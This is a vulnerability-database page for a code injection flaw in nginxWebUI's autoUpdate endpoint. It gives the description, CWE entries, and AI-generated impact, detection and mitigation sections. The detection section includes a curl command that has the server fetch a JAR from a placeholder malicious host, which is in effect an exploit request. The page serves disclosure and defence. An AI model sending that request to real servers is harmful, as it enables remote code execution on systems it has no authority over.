CVE-2026-90581
Received Received - Intake

Code Injection in nginxWebUI via URL Parameter

Publication date: 2026-09-13

Last updated on: 2026-09-13

Assigner: VulDB

Description
A vulnerability was determined in cym1102 nginxWebUI up to 4.4.2. This issue affects the function MainController.autoUpdate of the file /adminPage/main/autoUpdate. This manipulation of the argument url causes code injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.

CVSS Scores

EPSS Scores

Probability:
Percentile:

Meta Information

Published
2026-09-13
Last Modified
2026-09-13
Generated
2026-09-14
AI Q&A
2026-09-13
EPSS Evaluated
N/A
NVD
CVE-2026-90581
EUVD
EUVD-2026-77071

Affected Vendors & Products

Showing 1 associated CPE
Vendor Product Version / Range
cym1102 nginxwebui to 4.4.2 (inc)

Helpful Resources

Exploitability

CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-74 The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
CWE-94 The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Attack-Flow Graph

AI Quick Actions

Instant insights powered by AI
Executive Summary

This vulnerability is a code injection flaw in cym1102 nginxWebUI up to version 4.4.2. It exists in the MainController.autoUpdate function where the url parameter in the /adminPage/main/autoUpdate endpoint can be manipulated to inject malicious code. An attacker can exploit this to execute arbitrary commands remotely by providing a crafted URL that downloads and runs a malicious JAR file.

Detection Guidance

To detect this vulnerability, monitor network traffic for suspicious requests to the /adminPage/main/autoUpdate endpoint. Check logs for unexpected JAR file downloads or command executions. Use tools like curl to test the endpoint: curl 'http://<target-ip>:8090/adminPage/main/autoUpdate?url=http://malicious-site.com/exploit.jar' and observe if arbitrary code executes.

Impact Analysis

If exploited, this vulnerability allows remote attackers to execute arbitrary commands on the affected system. This could lead to full system compromise, unauthorized access, data theft, or installation of malware. Attackers could use it to take control of the nginxWebUI server or the underlying host.

Compliance Impact

This vulnerability could lead to unauthorized access and data breaches, violating GDPR and HIPAA requirements for data protection and access controls. Organizations using vulnerable versions may face compliance violations, legal penalties, and reputational damage due to potential exposure of sensitive data.

Mitigation Strategies

Immediately upgrade nginxWebUI to a patched version (post-4.4.2) or apply the fix from the pull request. Restrict access to the /adminPage/main/autoUpdate endpoint. Disable arbitrary URL downloads and limit updates to trusted domains (nginxwebui.cn, github.com, raw.githubusercontent.com). Monitor for unusual activity.

Chat Assistant

Ask questions about this CVE
Hi! I’m here to help you understand CVE-2026-90581. Ask me anything about the vulnerability, its impact, or mitigation strategies.
0/70

EPSS Chart